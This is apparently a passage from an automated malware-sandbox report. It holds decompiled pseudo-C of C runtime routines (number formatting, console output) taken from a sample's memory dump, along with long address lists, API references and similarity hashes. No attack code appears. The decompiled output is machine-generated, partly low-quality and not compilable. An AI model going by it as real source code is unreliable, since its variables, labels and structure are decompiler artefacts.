																				 *(__ebp - 0x2ac) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x2b0) = E00428420(__ebp + 0x14);
																			 *(__ebp - 0x2ac) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L161;
																		}
																		goto L157;
																	}
																case 0xd:
																	goto L0;
																case 0xe:
																	while(1) {
																		L181:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L207;
																		}
																		goto L182;
																	}
															}
														case 8:
															L21:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
															goto L24;
														case 9:
															L22:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															goto L24;
														case 0xa:
															L20:
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) | 0x00000001;
															 *(__ebp - 0x10) = __ecx;
															goto L24;
														case 0xb:
															L19:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															goto L24;
														case 0xc:
															L23:
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) | 0x00000008;
															__eflags = __ecx;
															 *(__ebp - 0x10) = __ecx;
															goto L24;
														case 0xd:
															L24:
															goto L209;
													}
												}
												L210:
												 *(_t524 - 0x2ec) =  *(_t524 - 0x24c);
												E0041AEC0(_t524 - 0x40);
												_t478 =  *(_t524 - 0x2ec);
												goto L211;
											}
										}
										L178:
										__eflags =  *(__ebp - 0x24);
										if( *(__ebp - 0x24) == 0) {
											L180:
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											__eax =  *(__ebp - 4);
											 *( *(__ebp - 4)) = 0x30;
											__ecx =  *(__ebp - 0x24);
											__ecx =  *(__ebp - 0x24) + 1;
											__eflags = __ecx;
											 *(__ebp - 0x24) = __ecx;
											goto L181;
										}
										L179:
										__eax =  *(__ebp - 4);
										__ecx =  *( *(__ebp - 4));
										__eflags = __ecx - 0x30;
										if(__ecx == 0x30) {
											goto L181;
										}
										goto L180;
									}
									L174:
									__eax =  *(__ebp - 8);
									asm("cdq");
									__ecx =  *(__ebp - 0x2b4);
									__edx =  *(__ebp - 0x2b8);
									__eax = E00430830( *(__ebp - 0x2b8),  *(__ebp - 0x2b4),  *(__ebp - 8),  *(__ebp - 0x2b8));
									 *(__ebp - 0x2a4) = __eax;
									__eax =  *(__ebp - 8);
									asm("cdq");
									__eax =  *(__ebp - 0x2b4);
									__ecx =  *(__ebp - 0x2b8);
									 *(__ebp - 0x2b8) = E004308B0( *(__ebp - 0x2b8),  *(__ebp - 0x2b4),  *(__ebp - 8), __edx);
									 *(__ebp - 0x2b4) = __edx;
									__eflags =  *(__ebp - 0x2a4) - 0x39;
									if( *(__ebp - 0x2a4) > 0x39) {
										__edx =  *(__ebp - 0x2a4);
										__edx =  *(__ebp - 0x2a4) +  *(__ebp - 0x260);
										__eflags = __edx;
										 *(__ebp - 0x2a4) = __edx;
									}
									__eax =  *(__ebp - 4);
									__cl =  *(__ebp - 0x2a4);
									 *( *(__ebp - 4)) = __cl;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									L172:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L174;
									}
									goto L173;
								}
							}
							L159:
							__eflags =  *(__ebp - 0x2b0);
							if( *(__ebp - 0x2b0) >= 0) {
								goto L161;
							}
							goto L160;
							L161:
							__ecx =  *(__ebp - 0x2b0);
							 *(__ebp - 0x2b8) =  *(__ebp - 0x2b0);
							__edx =  *(__ebp - 0x2ac);
							 *(__ebp - 0x2b4) =  *(__ebp - 0x2ac);
							goto L162;
						}
					}
				}
			}

0x00427de8
0x00427de8
0x00427de8
0x00427de8
0x00427df2
0x00427df2
0x00427df2
0x00427dfc
0x00427dfc
0x00427e02
0x00427e04
0x00427e0e
0x00427e0e
0x00427e11
0x00427e14
0x00427e14
0x00427e3b
0x00427e3b
0x00427e3e
0x00427e3e
0x00427e43
0x00427e65
0x00427e65
0x00427e6b
0x00427e8d
0x00427e8d
0x00427e90
0x00427ed7
0x00427ed7
0x00427eda
0x00427ef7
0x00427efb
0x00427f03
0x00427f03
0x00427f05
0x00427f0b
0x00427edc
0x00427edc
0x00427ee0
0x00427ee8
0x00427ee9
0x00427eef
0x00427eef
0x00427e92
0x00427e95
0x00427e95
0x00427e98
0x00427eb6
0x00427ec2
0x00427ec5
0x00427ec6
0x00427ecc
0x00427e9a
0x00427e9a
0x00427e9e
0x00427ea6
0x00427ea7
0x00427ea8
0x00427eae
0x00427eae
0x00427ed2
0x00427e6d
0x00427e6d
0x00427e79
0x00427e7f
0x00427e7f
0x00427e45
0x00427e45
0x00427e51
0x00427e57
0x00427e57
0x00427f14
0x00427f14
0x00427f17
0x00000000
0x00000000
0x00427f19
0x00427f19
0x00427f20
0x00000000
0x00000000
0x00427f22
0x00427f22
0x00427f2d
0x00427f33
0x00427f35
0x00427f3b
0x00427f3e
0x00427f40
0x00427f46
0x00427f4f
0x00427f54
0x00427f71
0x00427f74
0x00427f74
0x00427f79
0x00427f7e
0x00427f7e
0x00427f84
0x00427f86
0x00427f8c
0x00427f92
0x00427f92
0x00427f9b
0x00427f9b
0x00427f84
0x00427fa1
0x00427fa5
0x00427fb3
0x00427fb6
0x00427fb9
0x00427fc0
0x00427fc2
0x00427fc2
0x00427fa7
0x00427fa7
0x00427fa7
0x00427fcf
0x00427fcf
0x00427fd5
0x00427fd7
0x00427fd7
0x00427fde
0x00427fe1
0x00427fe4
0x00427fe4
0x00427fe4
0x00427fea
0x00427fed
0x00427ff0
0x00427ff2
0x00000000
0x00000000
0x00427ff4
0x00427ffa
0x00427ffa
0x00428000
0x0042807d
0x00428080
0x00428083
0x00428086
0x00428089
0x0042808c
0x00428092
0x00428092
0x00428098
0x004280c3
0x004280c3
0x004280c3
0x004280c7
0x00000000
0x00000000
0x004280cd
0x004280d0
0x004280d0
0x004280d3
0x004280d8
0x004280d8
0x004280dd
0x004280ef
0x004280ef
0x004280f2
0x00428104
0x00428104
0x00428107
0x00428109
0x0042810d
0x0042810d
0x004280f4
0x004280f4
0x004280f8
0x004280f8
0x004280df
0x004280df
0x004280e3
0x004280e3
0x004280dd
0x00428117
0x0042811a
0x0042811d
0x00428126
0x00428126
0x00428129
0x0042812b
0x00428132
0x00428136
0x0042813f
0x00428144
0x00428147
0x0042814e
0x00428152
0x00428156
0x00428162
0x00428165
0x00428165
0x00428168
0x0042816d
0x0042816d
0x00428170
0x00428172
0x00428179
0x0042817d
0x00428186
0x0042818b
0x00428170
0x0042818e
0x00428192
0x00428266
0x00428266
0x0042826d
0x00428271
0x00428275
0x00428279
0x00000000
0x00428198
0x00428198
0x00428198
0x0042819c
0x00000000
0x00000000
0x004281a2
0x004281a2
0x004281ac
0x004281af
0x004281b5
0x004281b8
0x004281be
0x004281be
0x004281be
0x004281ca
0x004281cd
0x004281d3
0x004281d5
0x00000000
0x00000000
0x004281db
0x004281db
0x004281e4
0x004281eb
0x004281f5
0x004281fc
0x0042820b
0x00428217
0x0042821a
0x00428220
0x00428227
0x00428232
0x00428232
0x00000000
0x00428232
0x00428229
0x00428229
0x00428230
0x0042823e
0x0042823e
0x00428245
0x00428249
0x00428257
0x00000000
0x0042825c
0x00000000
0x00428230
0x00428264
0x00428281
0x00428281
0x00428288
0x0042828d
0x0042828d
0x00428290
0x00428292
0x00428299
0x0042829d
0x004282a6
0x004282ab
0x00428290
0x00428288
0x004282ae
0x004282ae
0x004282b2
0x004282ba
0x004282c2
0x004282c2
0x004282c9
0x004282c9
0x0042744f
0x00427462
0x00427467
0x00000000
0x0042747a
0x00427484
0x004274ab
0x00427492
0x004274a3
0x004274a3
0x00427484
0x004274b5
0x004274bb
0x004274cd
0x004274d8
0x004274e4
0x004274f1
0x00000000
0x00000000
0x004274f7
0x004274fd
0x00000000
0x00427504
0x00427504
0x0042751c
0x00427521
0x00427526
0x004275e0
0x004275f3
0x004275f8
0x00000000
0x0042752c
0x0042753f
0x00427544
0x0042754a
0x0042754c
0x00427555
0x00427558
0x00427564
0x00427568
0x0042756e
0x00427570
0x00427575
0x00427577
0x0042757c
0x00427581
0x00427583
0x00427588
0x0042758e
0x00427590
0x00427590
0x0042758e
0x00427591
0x00427598
0x00000000
0x0042759a
0x0042759f
0x004275bb
0x004275c3
0x004275d0
0x004275d5
0x00000000
0x004275d5
0x00427598
0x00000000
0x00427600
0x00427600
0x00427607
0x0042760a
0x0042760d
0x00427610
0x00427613
0x00427616
0x00427619
0x00427620
0x00427627
0x00000000
0x00000000
0x00427633
0x00427633
0x0042763a
0x00427646
0x00427649
0x0042764f
0x00427656
0x00000000
0x00000000
0x00427658
0x00427658
0x0042765e
0x0042765e
0x00427665
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004276a8
0x004276a8
0x004276af
0x004276b2
0x004276dc
0x004276df
0x004276df
0x004276e2
0x004276e9
0x004276e9
0x004276ed
0x004276b4
0x004276b4
0x004276c0
0x004276c3
0x004276c7
0x004276c9
0x004276cc
0x004276cc
0x004276cf
0x004276d5
0x004276d7
0x004276d7
0x004276da
0x004276f0
0x00000000
0x00000000
0x004276f5
0x004276f5
0x00000000
0x00000000
0x00427701
0x00427701
0x00427708
0x0042770b
0x0042772b
0x0042772e
0x0042772e
0x00427738
0x00427738
0x0042773c
0x0042770d
0x0042770d
0x00427719
0x0042771c
0x00427720
0x00427722
0x00427722
0x00427729
0x00000000
0x00000000
0x00427744
0x00427744
0x0042774b
0x00427757
0x0042775a
0x00427760
0x00427767
0x0042787a
0x00000000
0x0042787a
0x0042776d
0x0042776d
0x00427773
0x00427773
0x0042777a
0x00000000
0x004277b0
0x004277b0
0x004277b3
0x004277b6
0x004277b9
0x004277e1
0x004277e1
0x004277e4
0x004277e7
0x004277ea
0x0042780f
0x0042780f
0x00427812
0x00427815
0x00427818
0x00427851
0x00427862
0x00000000
0x00427862
0x0042781a
0x0042781a
0x0042781d
0x00427820
0x00427823
0x00000000
0x00000000
0x00427825
0x00427825
0x00427828
0x0042782b
0x0042782e
0x00000000
0x00000000
0x00427830
0x00427830
0x00427833
0x00427836
0x00427839
0x00000000
0x00000000
0x0042783b
0x0042783b
0x0042783e
0x00427841
0x00427844
0x00000000
0x00000000
0x00427846
0x00427846
0x00427849
0x0042784c
0x0042784f
0x00427853
0x00000000
0x00427853
0x00000000
0x0042784f
0x004277ec
0x004277ec
0x004277ef
0x004277f3
0x004277f6
0x00000000
0x004277f8
0x004277fb
0x004277fe
0x00427801
0x00427804
0x0042780a
0x00000000
0x0042780a
0x004277f6
0x004277bb
0x004277bb
0x004277be
0x004277c2
0x004277c5
0x00000000
0x004277c7
0x004277ca
0x004277cd
0x004277d0
0x004277d3
0x004277d9
0x00000000
0x004277d9
0x00000000
0x00427864
0x00427867
0x0042786a
0x00000000
0x00000000
0x00427781
0x00427781
0x00427784
0x00427787
0x0042778a
0x004277a2
0x004277a5
0x004277a5
0x004277a8
0x0042778c
0x0042778f
0x00427792
0x00427798
0x0042779d
0x0042779d
0x00000000
0x00000000
0x0042786f
0x0042786f
0x00427872
0x00427872
0x00427877
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042787f
0x0042787f
0x00427886
0x00427892
0x00427895
0x0042789b
0x004278a2
0x004280c3
0x004280c3
0x004280c3
0x004280c7
0x00000000
0x00000000
0x00000000
0x004280c7
0x004280c3
0x004278a8
0x004278ae
0x004278ae
0x004278b5
0x00000000
0x00427c0f
0x00427c0f
0x00427c16
0x00427c1d
0x00427c1d
0x00427c20
0x00000000
0x00000000
0x004278bc
0x004278bf
0x004278bf
0x004278c5
0x004278c7
0x004278ca
0x004278ca
0x004278cf
0x004278cf
0x00000000
0x00000000
0x004279fc
0x004279ff
0x004279ff
0x00427a04
0x00427a06
0x00427a09
0x00427a09
0x00427a0f
0x00427a0f
0x00000000
0x00000000
0x00427ddc
0x00427ddc
0x00427df2
0x00427df2
0x00427dfc
0x00427dfc
0x00427e02
0x00427e04
0x00427e0e
0x00427e0e
0x00427e11
0x00427e14
0x00427e14
0x00000000
0x00000000
0x00427966
0x00427966
0x00427972
0x00427978
0x0042797f
0x0042798d
0x0042798d
0x00427993
0x00427996
0x004279a2
0x004279f7
0x00000000
0x004279f7
0x00427981
0x00427981
0x00427987
0x0042798b
0x004279a7
0x004279aa
0x004279aa
0x004279b0
0x004279d8
0x004279df
0x004279e5
0x004279e8
0x004279eb
0x004279f1
0x004279f4
0x004279b2
0x004279b2
0x004279b8
0x004279bb
0x004279be
0x004279c4
0x004279c7
0x004279ca
0x004279cc
0x004279cf
0x004279cf
0x00000000
0x004279b0
0x00000000
0x00000000
0x00427c26
0x00427c29
0x00427c2c
0x00427c2f
0x00427c35
0x00427c38
0x00427c3f
0x00427c43
0x00427c4e
0x00427c4e
0x00427c52
0x00427c69
0x00427c69
0x00427c70
0x00427c72
0x00427c72
0x00427c79
0x00427c79
0x00427c80
0x00427c91
0x00427ca0
0x00427ca3
0x00427ca7
0x00427cbd
0x00427ca9
0x00427ca9
0x00427cac
0x00427cb2
0x00427cb8
0x00427cb8
0x00427ca7
0x00427cc7
0x00427cca
0x00427ccd
0x00427cd0
0x00427cd0
0x00427cd3
0x00427cd3
0x00427cd6
0x00427cdc
0x00427ce2
0x00427cea
0x00427ceb
0x00427cee
0x00427cef
0x00427cf2
0x00427cf3
0x00427cfa
0x00427cfb
0x00427cfe
0x00427cff
0x00427d02
0x00427d03
0x00427d09
0x00427d0a
0x00427d18
0x00427d1a
0x00427d20
0x00427d20
0x00427d26
0x00427d28
0x00427d2c
0x00427d2e
0x00427d36
0x00427d37
0x00427d3a
0x00427d3b
0x00427d49
0x00427d4b
0x00427d4b
0x00427d2c
0x00427d4e
0x00427d55
0x00427d58
0x00427d5d
0x00427d5d
0x00427d63
0x00427d65
0x00427d6d
0x00427d6e
0x00427d71
0x00427d72
0x00427d81
0x00427d83
0x00427d83
0x00427d63
0x00427d86
0x00427d89
0x00427d8c
0x00427d8f
0x00427d94
0x00427d9a
0x00427d9d
0x00427da0
0x00427da0
0x00427da3
0x00427da3
0x00427da6
0x00427db2
0x004280c3
0x004280c3
0x004280c3
0x004280c7
0x00000000
0x00000000
0x00000000
0x004280c7
0x00000000
0x004280c3
0x00427c54
0x00427c54
0x00427c5b
0x00427c5e
0x00000000
0x00000000
0x00427c60
0x00427c60
0x00000000
0x00427c60
0x00427c45
0x00427c45
0x00000000
0x00000000
0x004278d2
0x004278d5
0x004278d5
0x004278db
0x00427932
0x00427936
0x0042793e
0x00427945
0x0042794b
0x00427951
0x00427958
0x00427958
0x0042795e
0x004280c3
0x004280c3
0x004280c3
0x004280c7
0x00000000
0x00000000
0x00000000
0x004280c7
0x004280c3
0x004278dd
0x004278dd
0x004278e7
0x004278eb
0x004278f3
0x004278fa
0x00427907
0x0042790e
0x0042791a
0x00427920
0x00427927
0x00427929
0x00427929
0x00427930
0x00000000
0x00000000
0x00427dba
0x00427dbd
0x00427dc0
0x00427dc3
0x00427e3b
0x00427e3e
0x00427e3e
0x00427e43
0x00427e65
0x00427e65
0x00427e6b
0x00427e8d
0x00427e8d
0x00427e90
0x00427ed7
0x00427ed7
0x00427eda
0x00427ef7
0x00427efb
0x00427f03
0x00427f03
0x00427f05
0x00427f0b
0x00427edc
0x00427edc
0x00427ee0
0x00427ee8
0x00427ee9
0x00427eef
0x00427eef
0x00427e92
0x00427e95
0x00427e95
0x00427e98
0x00427eb6
0x00427ec2
0x00427ec5
0x00427ec6
0x00427ecc
0x00427e9a
0x00427e9a
0x00427e9e
0x00427ea6
0x00427ea7
0x00427ea8
0x00427eae
0x00427eae
0x00427ed2
0x00427e6d
0x00427e6d
0x00427e79
0x00427e7f
0x00427e7f
0x00427e45
0x00427e45
0x00427e51
0x00427e57
0x00427e57
0x00427f14
0x00427f14
0x00427f17
0x00000000
0x00000000
0x00000000
0x00427b18
0x00427b18
0x00427b24
0x00427b2a
0x00427b2f
0x00427b31
0x00427bdb
0x00427bde
0x00427bde
0x00427be1
0x00427bf5
0x00427bfb
0x00427c01
0x00427be3
0x00427be3
0x00427bf0
0x00427bf0
0x00427c03
0x004280c3
0x004280c3
0x004280c3
0x004280c7
0x00000000
0x00000000
0x00000000
0x004280c7
0x004280c3
0x00427b37
0x00427b37
0x00427b37
0x00427b39
0x00427b47
0x00427b3b
0x00427b3b
0x00427b3b
0x00427b51
0x00427b57
0x00427b5d
0x00427b64
0x00427b66
0x00427b6b
0x00427b6d
0x00427b72
0x00427b77
0x00427b79
0x00427b7e
0x00427b81
0x00427b84
0x00427b86
0x00427b86
0x00427b84
0x00427b87
0x00427b8e
0x00427bd6
0x004280c3
0x004280c3
0x004280c3
0x004280c7
0x00000000
0x00000000
0x00000000
0x004280c7
0x00427b90
0x00427b90
0x00427b95
0x00427bb1
0x00427bb9
0x00427bc3
0x00427bc6
0x00427bcb
0x004282e8
0x004282f5
0x004282f5
0x00000000
0x00427e1d
0x00427e1d
0x00427e27
0x00427e27
0x00427e2d
0x00427e2f
0x00427e32
0x00427e32
0x00427e38
0x00427e38
0x00427e3b
0x00427e3b
0x00427e3e
0x00427e3e
0x00427e43
0x00427e65
0x00427e65
0x00427e6b
0x00427e8d
0x00427e8d
0x00427e90
0x00427ed7
0x00427ed7
0x00427eda
0x00427ef7
0x00427efb
0x00427f03
0x00427f03
0x00427f05
0x00427f0b
0x00427edc
0x00427edc
0x00427ee0
0x00427ee8
0x00427ee9
0x00427eef
0x00427eef
0x00427e92
0x00427e95
0x00427e95
0x00427e98
0x00427eb6
0x00427ec2
0x00427ec5
0x00427ec6
0x00427ecc
0x00427e9a
0x00427e9a
0x00427e9e
0x00427ea6
0x00427ea7
0x00427ea8
0x00427eae
0x00427eae
0x00427ed2
0x00427e6d
0x00427e6d
0x00427e79
0x00427e7f
0x00427e7f
0x00427e45
0x00427e45
0x00427e51
0x00427e57
0x00427e57
0x00427f14
0x00427f14
0x00427f17
0x00000000
0x00000000
0x00000000
0x00427f17
0x00000000
0x00427dd5
0x00427dd5
0x00000000
0x00000000
0x00427a12
0x00427a12
0x00427a16
0x00427a24
0x00427a27
0x00427a18
0x00427a18
0x00427a18
0x00427a2d
0x00427a33
0x00427a39
0x00427a45
0x00427a4b
0x00427a4b
0x00427a51
0x00427ab8
0x00427ab8
0x00427abc
0x00427abe
0x00427ac4
0x00427ac4
0x00427ac7
0x00427aca
0x00427ad0
0x00427ad0
0x00427ad0
0x00427adc
0x00427adf
0x00427ae5
0x00427ae7
0x00000000
0x00000000
0x00427ae9
0x00427ae9
0x00427aef
0x00427af2
0x00427af4
0x00000000
0x00000000
0x00427af6
0x00427afc
0x00427aff
0x00427aff
0x00427b07
0x00427b07
0x00427b0d
0x00427b0d
0x00427b10
0x00000000
0x00427a53
0x00427a53
0x00427a53
0x00427a57
0x00427a59
0x00427a5e
0x00427a5e
0x00427a61
0x00427a68
0x00427a6b
0x00427a71
0x00427a71
0x00427a71
0x00427a7d
0x00427a80
0x00427a86
0x00427a88
0x00000000
0x00000000
0x00427a8a
0x00427a8a
0x00427a90
0x00427a93
0x00427a95
0x00000000
0x00000000
0x00427a97
0x00427a9d
0x00427aa0
0x00427aa0
0x00427aa8
0x00427aae
0x00427ab1
0x00427ab3
0x00427b13
0x004280c3
0x004280c3
0x004280c3
0x004280c7
0x00000000
0x00000000
0x00000000
0x004280c7
0x004280c3
0x00000000
0x00427dcc
0x00427dcc
0x00427e3b
0x00427e3b
0x00427e3e
0x00427e3e
0x00427e43
0x00427e65
0x00427e65
0x00427e6b
0x00427e8d
0x00427e8d
0x00427e90
0x00427ed7
0x00427ed7
0x00427eda
0x00427ef7
0x00427efb
0x00427f03
0x00427f03
0x00427f05
0x00427f0b
0x00427edc
0x00427edc
0x00427ee0
0x00427ee8
0x00427ee9
0x00427eef
0x00427eef
0x00427e92
0x00427e95
0x00427e95
0x00427e98
0x00427eb6
0x00427ec2
0x00427ec5
0x00427ec6
0x00427ecc
0x00427e9a
0x00427e9a
0x00427e9e
0x00427ea6
0x00427ea7
0x00427ea8
0x00427eae
0x00427eae
0x00427ed2
0x00427e6d
0x00427e6d
0x00427e79
0x00427e7f
0x00427e7f
0x00427e45
0x00427e45
0x00427e51
0x00427e57
0x00427e57
0x00427f14
0x00427f14
0x00427f17
0x00000000
0x00000000
0x00000000
0x00427f17
0x00000000
0x00000000
0x00000000
0x004280c3
0x004280c3
0x004280c3
0x004280c7
0x00000000
0x00000000
0x00000000
0x004280c7
0x00000000
0x00000000
0x00427682
0x00427685
0x00427688
0x00000000
0x00000000
0x0042768d
0x00427690
0x00427695
0x00000000
0x00000000
0x00427677
0x00427677
0x0042767a
0x0042767d
0x00000000
0x00000000
0x0042766c
0x0042766f
0x00427672
0x00000000
0x00000000
0x0042769a
0x0042769a
0x0042769d
0x0042769d
0x004276a0
0x00000000
0x00000000
0x004276a3
0x00000000
0x00000000
0x004274fd
0x004282ce
0x004282d4
0x004282dd
0x004282e2
0x00000000
0x004282e2
0x004280c3
0x0042809a
0x0042809a
0x0042809e
0x004280ab
0x004280ae
0x004280b1
0x004280b4
0x004280b7
0x004280ba
0x004280bd
0x004280bd
0x004280c0
0x00000000
0x004280c0
0x004280a0
0x004280a0
0x004280a3
0x004280a6
0x004280a9
0x00000000
0x00000000
0x00000000
0x004280a9
0x00428002
0x00428002
0x00428005
0x00428008
0x0042800f
0x00428016
0x0042801e
0x00428024
0x00428027
0x0042802a
0x00428031
0x0042803d
0x00428043
0x00428049
0x00428050
0x00428052
0x00428058
0x00428058
0x0042805e
0x0042805e
0x00428064
0x00428067
0x0042806d
0x00428072
0x00428075
0x00427fe4
0x00427fe4
0x00427fea
0x00427fed
0x00427ff0
0x00427ff2
0x00000000
0x00000000
0x00000000
0x00427ff2
0x00427fe4
0x00427f24
0x00427f24
0x00427f2b
0x00000000
0x00000000
0x00000000
0x00427f59
0x00427f59
0x00427f5f
0x00427f65
0x00427f6b
0x00000000
0x00427f6b
0x00427e3b
0x00427df2

APIs

_get_int64_arg.LIBCMTD ref: 00427E49
__aullrem.LIBCMT ref: 00428016
__aulldiv.LIBCMT ref: 00428038

Strings

9, xrefs: 00428049
', xrefs: 00427DE8
0, xrefs: 00427E04

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: b06138346e01c4859c971e078a40e2d1bc4e5d7828ca2f175b19f213fc8eb558
Instruction ID: 1f27a7ef35c97f22b386209aceffd6d9084729756cfb5bd11e8000ce89de7c88
Opcode Fuzzy Hash: b06138346e01c4859c971e078a40e2d1bc4e5d7828ca2f175b19f213fc8eb558
Instruction Fuzzy Hash: 50411671E09229CFDB64DF48D989BAEB7B5BB84304F5041DAE409A7241C7389E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0043B530, Relevance: 9.1, APIs: 6, Instructions: 76
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E0043B530(void* __edx, void _a4) {
				long _v8;
				int _v12;
				signed int _v16;
				void _v24;
				signed int _t12;
				void _t14;
				void* _t25;
				void* _t31;
				void* _t33;
				void* _t34;
				signed int _t35;

				_t31 = __edx;
				_t12 =  *0x440354; // 0x6abcbdeb
				_v16 = _t12 ^ _t35;
				if( *0x4416b4 == 0) {
					L12:
					if( *0x4416b4 != 0) {
						L16:
						_t14 = _a4;
					} else {
						_v12 = WideCharToMultiByte(GetConsoleOutputCP(), 0,  &_a4, 1,  &_v24, 5, 0, 0);
						if( *0x441744 == 0xffffffff) {
							L15:
							_t14 = 0xffff;
						} else {
							_t31 =  *0x441744; // 0xfffffffe
							if(WriteConsoleA(_t31,  &_v24, _v12,  &_v8, 0) != 0) {
								goto L16;
							} else {
								goto L15;
							}
						}
					}
				} else {
					if( *0x441744 == 0xfffffffe) {
						E0043D360();
					}
					if( *0x441744 != 0xffffffff) {
						_t31 =  *0x441744; // 0xfffffffe
						if(WriteConsoleW(_t31,  &_a4, 1,  &_v8, 0) != 0) {
							 *0x4416b4 = 1;
							goto L12;
						} else {
							if( *0x4416b4 != 2 || GetLastError() != 0x78) {
								_t14 = 0xffff;
							} else {
								 *0x4416b4 = 0;
								goto L12;
							}
						}
					} else {
						_t14 = 0xffff;
					}
				}
				return E0042BD60(_t14, _t25, _v16 ^ _t35, _t31, _t33, _t34);
			}

0x0043b530
0x0043b538
0x0043b53f
0x0043b549
0x0043b5be
0x0043b5c5
0x0043b618
0x0043b618
0x0043b5c7
0x0043b5e6
0x0043b5f0
0x0043b611
0x0043b611
0x0043b5f2
0x0043b600
0x0043b60f
0x00000000
0x00000000
0x00000000
0x00000000
0x0043b60f
0x0043b5f0
0x0043b54b
0x0043b552
0x0043b554
0x0043b554
0x0043b560
0x0043b57a
0x0043b589
0x0043b5b4
0x00000000
0x0043b58b
0x0043b592
0x0043b5ab
0x0043b59f
0x0043b59f
0x00000000
0x0043b5b2
0x0043b592
0x0043b562
0x0043b562
0x0043b562
0x0043b560
0x0043b629

APIs

___initconout.LIBCMTD ref: 0043B554

Part of subcall function 0043D360: CreateFileA.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,?,0043B559), ref: 0043D379

GetConsoleOutputCP.KERNEL32(00000000,?,00000001,00000000,00000005,00000000,00000000), ref: 0043B5D9
WideCharToMultiByte.KERNEL32(00000000), ref: 0043B5E0
WriteConsoleA.KERNEL32(FFFFFFFE,00000000,?,?,00000000), ref: 0043B607

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: Console$ByteCharCreateFileMultiOutputWideWrite___initconout
String ID:
API String ID: 3432720595-0
Opcode ID: 531c05ce2fc9eb36074d429764f17e375db4a339401e4897159e9cefc42b094c
Instruction ID: d319bd7aee631769ad2c3883db2d61089a59b8530f2a06c98b20efcfd3a6b200
Opcode Fuzzy Hash: 531c05ce2fc9eb36074d429764f17e375db4a339401e4897159e9cefc42b094c
Instruction Fuzzy Hash: 5721BF74500208EBDB20DF64DD46BEA3764EB19319F10123AFB12962E0D7788984DB9E

Uniqueness

Uniqueness Score: -1.00%

Function 0043D453, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E0043D453() {
				signed int _t104;
				void* _t119;
				void* _t122;
				void* _t130;
				signed int _t179;
				void* _t193;
				void* _t194;
				void* _t195;
				void* _t197;

				if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x00000001) == 0) {
					L5:
					 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000002;
					 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0xffffffef;
					 *( *((intOrPtr*)(_t195 - 8)) + 4) = 0;
					 *(_t195 - 4) = 0;
					_t136 =  *(_t195 - 4);
					 *(_t195 - 0xc) =  *(_t195 - 4);
					if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x0000010c) != 0) {
						L10:
						if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x00000108) == 0) {
							 *(_t195 - 4) = 2;
							 *((short*)(_t195 - 0x14)) =  *(_t195 + 8) & 0x0000ffff;
							 *(_t195 - 0xc) = E004330A0( *(_t195 - 0x10),  *(_t195 - 0x10), _t195 - 0x14,  *(_t195 - 4));
							L25:
							if( *(_t195 - 0xc) ==  *(_t195 - 4)) {
								_t104 =  *(_t195 + 8) & 0x0000ffff;
							} else {
								 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000020;
								_t104 = 0xffff;
							}
							goto L28;
						}
						if( *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) -  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)) < 0) {
